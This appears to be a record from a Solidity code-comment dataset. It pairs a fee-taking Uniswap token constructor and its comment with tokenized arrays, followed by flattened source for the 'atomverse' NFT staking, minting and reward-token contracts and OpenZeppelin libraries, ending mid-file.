uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function Chire(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals());
}
}
} | exclude from paying fees or having max transaction amount | constructor() ERC20("legendary", "legendary") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 5;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 6;
uint256 _sellDevFee = 3;
uint256 _earlySellLiquidityFee = 15;
uint256 _earlySellMarketingFee = 10;
uint256 _earlySellDevFee = 3
; uint256 totalSupply = 1 * 1e9 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 7,713,171 | [
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
16292,
814,
3113,
315,
16292,
814,
7923,
288,
203,
7010,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
7010,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
7010,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
7010,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
1381,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
576,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
8870,
14667,
273,
1381,
31,
203,
7010,
3639,
2
]
|
/*
___ .___________. ______ .___ ___. ____ ____ _______ .______ _______. _______
/ \ | | / __ \ | \/ | \ \ / / | ____|| _ \ / || ____|
/ ^ \ `---| |----`| | | | | \ / | \ \/ / | |__ | |_) | | (----`| |__
/ /_\ \ | | | | | | | |\/| | \ / | __| | / \ \ | __|
/ _____ \ | | | `--' | | | | | \ / | |____ | |\ \----.----) | | |____
/__/ \__\ |__| \______/ |__| |__| \__/ |_______|| _| `._____|_______/ |_______|
*/
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.6;
import "./atomverse_genesis.sol";
import "./nuclei.sol";
contract atomverse_staking is Ownable, IERC721Receiver {
event NFTStaked(address owner, uint256 tokenId, uint256 timestamp);
event NFTUnstaked(address owner, uint256 tokenId, uint256 timestamp);
event Claimed(address owner, uint256 amount);
constructor(atomverse_genesis _nft, nuclei _token) {
atomverse_nft = _nft;
nucleiToken = _token;
}
atomverse_genesis atomverse_nft;
nuclei nucleiToken;
uint256 public totalStaked;
uint256[] public scores;
struct Stake {
uint24 tokenId;
uint48 timestamp;
address owner;
}
mapping(uint256 => Stake) public cryoChambers;
function setScores(uint256[] memory _scores) external onlyOwner {
for (uint256 i = 0; i < _scores.length; i++) {
scores.push(_scores[i]);
}
}
function reSetScores(uint256[] memory _scores) external onlyOwner {
scores = _scores;
}
function stake(uint256[] calldata tokenIds) external {
uint256 tokenId;
totalStaked += tokenIds.length;
for (uint256 i = 0; i < tokenIds.length; i++) {
tokenId = tokenIds[i];
require(
atomverse_nft.ownerOf(tokenId) == msg.sender,
"not your token"
);
require(cryoChambers[tokenId].tokenId == 0, "already staked");
atomverse_nft.transferFrom(msg.sender, address(this), tokenId);
emit NFTStaked(msg.sender, tokenId, block.timestamp);
cryoChambers[tokenId] = Stake({
owner: msg.sender,
tokenId: uint24(tokenId),
timestamp: uint48(block.timestamp)
});
}
}
function _unstakeMany(address account, uint256[] calldata tokenIds)
internal
{
uint256 tokenId;
totalStaked -= tokenIds.length;
for (uint256 i = 0; i < tokenIds.length; i++) {
tokenId = tokenIds[i];
Stake memory staked = cryoChambers[tokenId];
require(staked.owner == msg.sender, "not an owner");
delete cryoChambers[tokenId];
atomverse_nft.transferFrom(address(this), account, tokenId);
emit NFTUnstaked(account, tokenId, block.timestamp);
}
}
function claim(uint256[] calldata tokenIds) external {
_claim(msg.sender, tokenIds, false);
}
function claimForAddress(address account, uint256[] calldata tokenIds)
external
{
_claim(account, tokenIds, false);
}
function unstake(uint256[] calldata tokenIds) external {
_claim(msg.sender, tokenIds, true);
}
function _claim(
address account,
uint256[] calldata tokenIds,
bool _unstake
) internal {
uint256 tokenId;
uint256 earned = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
tokenId = tokenIds[i];
uint256 _earned = 0;
Stake memory staked = cryoChambers[tokenId];
require(staked.owner == account, "not an owner");
uint256 stakedAt = staked.timestamp;
uint256 timeElapsedScore = (block.timestamp - stakedAt);
uint256 rarityScore = scores[tokenId];
_earned = (timeElapsedScore * rarityScore)/12 minutes;
_earned = 1 ether * _earned;
_earned = _earned / 100;
earned += _earned;
cryoChambers[tokenId] = Stake({
owner: account,
tokenId: uint24(tokenId),
timestamp: uint48(block.timestamp)
});
}
if (earned > 0) {
nucleiToken.mint(account, earned);
}
if (_unstake) {
_unstakeMany(account, tokenIds);
}
emit Claimed(account, earned);
}
function earningInfo(uint256[] calldata tokenIds)
external
view
returns (uint256 info)
{
uint256 tokenId = 0;
uint256 earned = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 _earned = 0;
tokenId = tokenIds[i];
Stake memory staked = cryoChambers[tokenId];
if (staked.tokenId !=0){
uint256 stakedAt = staked.timestamp;
uint256 timeElapsedScore = (block.timestamp - stakedAt);
uint256 rarityScore = scores[tokenId];
_earned = (timeElapsedScore * rarityScore)/12 minutes;
_earned = 1 ether * _earned;
_earned = _earned / 100;
earned += _earned;
}
}
return earned;
}
function balanceOf(address account) public view returns (uint256) {
uint256 balance = 0;
uint256 supply = 4444;
for (uint256 i = 1; i <= supply; i++) {
if (cryoChambers[i].owner == account) {
balance += 1;
}
}
return balance;
}
function tokensOfOwner(address account)
public
view
returns (uint256[] memory ownerTokens)
{
uint256 supply = 4444;
uint256[] memory tmp = new uint256[](supply);
uint256 index = 0;
for (uint256 tokenId = 1; tokenId <= 4444; tokenId++) {
if (cryoChambers[tokenId].owner == account) {
tmp[index] = cryoChambers[tokenId].tokenId;
index += 1;
}
}
uint256[] memory tokens = new uint256[](index);
for (uint256 i = 0; i < index; i++) {
tokens[i] = tmp[i];
}
return tokens;
}
function unStakeAll() external onlyOwner {
for (uint256 tokenId = 1; tokenId <= 4444; tokenId++) {
Stake memory staked = cryoChambers[tokenId];
if (staked.tokenId != 0) {
delete cryoChambers[tokenId];
emit NFTUnstaked(staked.owner, tokenId, block.timestamp);
atomverse_nft.transferFrom(
address(this),
staked.owner,
tokenId
);
}
}
}
function onERC721Received(
address,
address from,
uint256,
bytes calldata
) external pure override returns (bytes4) {
require(
from == address(0x0),
"Cannot send nfts to cryoChambers directly"
);
return IERC721Receiver.onERC721Received.selector;
}
}
/*
___ .___________. ______ .___ ___. ____ ____ _______ .______ _______. _______
/ \ | | / __ \ | \/ | \ \ / / | ____|| _ \ / || ____|
/ ^ \ `---| |----`| | | | | \ / | \ \/ / | |__ | |_) | | (----`| |__
/ /_\ \ | | | | | | | |\/| | \ / | __| | / \ \ | __|
/ _____ \ | | | `--' | | | | | \ / | |____ | |\ \----.----) | | |____
/__/ \__\ |__| \______/ |__| |__| \__/ |_______|| _| `._____|_______/ |_______|
*/
// SPDX-License-Identifier: MIT
/// @title atomverse genesis contract
/// @author atomverse team
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract atomverse_genesis is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private IndexOfMint;
string private _baseTokenURI;
uint8 public maxMintAmountPerTx = 2;
uint8 public maxPerWallet = 2;
uint256 public cost = 0.09 ether;
uint256 public maxSupply = 8888;
uint256 public totalSupply = 8888;
bool public paused = true;
bool public publicSale = false;
bytes32 public mRoot;
mapping(address => uint8) public totalMintByUser;
constructor() ERC721("atomverse_genesis", "ATOM") {}
function totalMinted() public view returns (uint256) {
return IndexOfMint.current();
}
/// @dev walletofOwner - IRC721 over written to save some gas.
/// @return tokens id owned by the given address
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (
ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply
) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
/// @notice sets the cost of one NFT
function setCost(uint256 _cost) external onlyOwner {
cost = _cost;
}
/// @notice Changes the state of the contract, user cannot mint when contract is paused
function setPaused(bool _state) external onlyOwner {
paused = _state;
}
/// @notice Changes the state of the public sale
function setPublicState(bool _state) external onlyOwner {
publicSale = _state;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function setmRoot(bytes32 _mRoot) external onlyOwner {
mRoot = _mRoot;
}
/// @dev modifer for mint conditions, which includes both public and whitelist sale.
modifier mintConditions(
uint256 _mintAmount,
bytes32[] calldata _merkleProof
) {
require(
_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx,
"Invalid mint amount! should be greater than 0 and less than 3"
);
require(!paused, "The contract is paused!");
require(
msg.value >= cost * _mintAmount,
"Insufficient funds in your wallet, or wrong eth value sent!"
);
require(
IndexOfMint.current() + _mintAmount <= maxSupply,
"Not enough atoms NFT left to mint!"
);
if (!publicSale) {
require(
MerkleProof.verify(
_merkleProof,
mRoot,
keccak256(abi.encodePacked(msg.sender))
),
"Sorry you are not in our Whitelist"
);
require(
totalMintByUser[msg.sender] + _mintAmount <= maxPerWallet,
"Wallet cannot hold or mint more than 2 NFT in presale"
);
}
_;
}
function setPriceOnConditions() internal {
if (IndexOfMint.current() < 1199 && cost != 90000000000000000 && !publicSale) {
cost = 0.09 ether;
}
if (IndexOfMint.current() > 1199 && cost != 100000000000000000 && !publicSale) {
cost = 0.1 ether;
}
if (publicSale && cost != 150000000000000000) {
cost = 0.15 ether;
}
}
function mint(uint256 _mintAmount, bytes32[] calldata _merkleProof)
public
payable
mintConditions(_mintAmount, _merkleProof)
{
_mintLoop(msg.sender, _mintAmount);
setPriceOnConditions();
}
/// @notice n atoms reserved for future marketing campagins
function devMint(uint256 _mintAmount) external onlyOwner {
_mintLoop(msg.sender, _mintAmount);
}
function _mintLoop(address _receiver, uint256 _mintquantity) internal {
for (uint256 i = 0; i < _mintquantity; i++) {
IndexOfMint.increment();
_safeMint(_receiver, IndexOfMint.current());
totalMintByUser[_receiver]++;
}
}
function withdraw() external onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
}
/*
___ .___________. ______ .___ ___. ____ ____ _______ .______ _______. _______
/ \ | | / __ \ | \/ | \ \ / / | ____|| _ \ / || ____|
/ ^ \ `---| |----`| | | | | \ / | \ \/ / | |__ | |_) | | (----`| |__
/ /_\ \ | | | | | | | |\/| | \ / | __| | / \ \ | __|
/ _____ \ | | | `--' | | | | | \ / | |____ | |\ \----.----) | | |____
/__/ \__\ |__| \______/ |__| |__| \__/ |_______|| _| `._____|_______/ |_______|
*/
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
contract nuclei is ERC20, ERC20Burnable, Ownable {
mapping(address => bool) controllers;
constructor() ERC20("Xielcun", "XNuc") { }
function mint(address to, uint256 amount) external {
require(controllers[msg.sender], "Only controllers can mint");
_mint(to, amount);
}
function burnFrom(address account, uint256 amount) public override {
if (controllers[msg.sender]) {
_burn(account, amount);
}
else {
super.burnFrom(account, amount);
}
}
function addController(address controller) external onlyOwner {
controllers[controller] = true;
}
function removeController(address controller) external onlyOwner {
controllers[controller] = false;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
